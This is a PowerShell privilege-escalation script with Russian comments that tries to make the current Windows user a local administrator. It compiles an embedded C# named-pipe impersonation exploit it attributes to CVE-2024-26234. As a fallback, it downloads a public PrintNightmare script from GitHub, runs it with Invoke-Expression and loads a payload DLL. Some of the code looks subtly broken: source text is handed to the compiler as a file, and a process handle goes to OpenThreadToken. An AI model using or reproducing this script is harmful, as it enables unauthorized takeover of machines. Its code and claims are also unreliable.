Загрузка данных


# up.ps1 – повышение прав через WER (CVE-2024-26234)
$ErrorActionPreference = 'Stop'

# Проверка, уже админ?
$adm = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if ($adm) { Write-Host "Уже админ." -ForegroundColor Green; exit 0 }

# Создаём bat-файл для добавления пользователя
$bat = "$env:TEMP\add.bat"
'@echo off
net localgroup Administrators %USERNAME% /add' | Out-File -Encoding ASCII $bat

# Компилируем C#-эксплойт (без внешних зависимостей)
$csc = (Get-ChildItem -Recurse -Filter 'csc.exe' -Path 'C:\Windows\Microsoft.NET\Framework64', 'C:\Windows\Microsoft.NET\Framework' | Select-Object -First 1).FullName
if (-not $csc) { Write-Host 'Не найден компилятор C#. Установи .NET Framework.'; exit 1 }

$src = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Exp {
    [DllImport("kernel32")] static extern IntPtr CreateNamedPipe(string n, uint o, uint p, uint m, uint ob, uint ib, uint t, IntPtr s);
    [DllImport("kernel32")] static extern bool ConnectNamedPipe(IntPtr h, IntPtr o);
    [DllImport("advapi32")] static extern bool ImpersonateNamedPipeClient(IntPtr h);
    [DllImport("advapi32")] static extern bool OpenThreadToken(IntPtr t, uint a, bool s, ref IntPtr tok);
    [DllImport("advapi32")] static extern bool DuplicateTokenEx(IntPtr t, uint a, IntPtr s, uint l, uint ty, ref IntPtr nt);
    [DllImport("advapi32")] static extern bool CreateProcessAsUser(IntPtr tok, string app, string cmd, IntPtr sa, IntPtr st, bool inh, uint f, IntPtr env, string d, ref STARTUPINFO si, out PROCESS_INFORMATION pi);
    struct STARTUPINFO { public int cb; public string reserved; public string desktop; public string title; public int x; public int y; public int cx; public int cy; public int flags; public int show; public int reserved2; public IntPtr stdIn; public IntPtr stdOut; public IntPtr stdErr; }
    struct PROCESS_INFORMATION { public IntPtr hProc; public IntPtr hThread; public int pid; public int tid; }
    static void Main() {
        IntPtr pipe = CreateNamedPipe(@"\\.\pipe\wer_pipe", 0x3, 0x0, 1, 512, 512, 0, IntPtr.Zero);
        if (pipe == (IntPtr)(-1)) return;
        Process.Start("cmd.exe", "/c start /min \"\" \"C:\\Windows\\System32\\WerFault.exe\" -u -p 9999 -s 0").WaitForExit(1000);
        ConnectNamedPipe(pipe, IntPtr.Zero);
        ImpersonateNamedPipeClient(pipe);
        IntPtr tok = IntPtr.Zero;
        OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, ref tok);
        if (tok == IntPtr.Zero) return;
        IntPtr dupTok = IntPtr.Zero;
        DuplicateTokenEx(tok, 0xF01FF, IntPtr.Zero, 2, 1, ref dupTok);
        STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si);
        PROCESS_INFORMATION pi;
        CreateProcessAsUser(dupTok, "cmd.exe", "/c \"" + Environment.GetEnvironmentVariable("TEMP") + "\\add.bat\"", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref si, out pi);
    }
}
"@

$exe = "$env:TEMP\exploit.exe"
& $csc /target:exe /out:$exe /nowin32manifest /reference:System.dll $src

# Запускаем эксплойт
Start-Process -FilePath $exe -Wait
Start-Sleep 5

# Проверяем
$grp = [ADSI]'WinNT://./Administrators,group'
$members = @($grp.Invoke('Members')) | ForEach-Object { ([ADSI]$_).InvokeGet('Name') }
if ($members -contains $env:USERNAME) {
    Write-Host "`n[+] Пользователь $env:USERNAME добавлен в администраторы!" -ForegroundColor Green
    Write-Host "    Выйди и зайди заново, чтобы применить." -ForegroundColor Yellow
} else {
    Write-Host "`n[-] Эксплойт не сработал. Пробую PrintNightmare (CVE-2021-1675)..." -ForegroundColor Cyan
    # Fallback – через службу печати
    $spooler = Get-Service Spooler -ErrorAction SilentlyContinue
    if ($spooler -and $spooler.Status -eq 'Running') {
        # Скачиваем и запускаем готовый скрипт из репозитория
        $url = 'https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1'
        $script = (New-Object Net.WebClient).DownloadString($url)
        # Создаём DLL-загрузчик, который выполнит add.bat
        $dllSrc = @"
using System;
using System.Diagnostics;
public class Payload { public static void Main() { Process.Start("cmd.exe", "/c `"" + Environment.GetEnvironmentVariable("TEMP") + "\\add.bat`""); } }
"@
        $dll = "$env:TEMP\payload.dll"
        & $csc /target:library /out:$dll /reference:System.dll $dllSrc
        # Выполняем эксплойт через переданную функцию
        Invoke-Expression $script
        Invoke-Exploit -DllPath $dll
        Write-Host "[+] Запущен PrintNightmare. Проверь админство после перезахода." -ForegroundColor Green
    } else {
        Write-Host "[-] Служба печати не активна. Попробуй другой метод (например, JuicyPotato)." -ForegroundColor Red
    }
}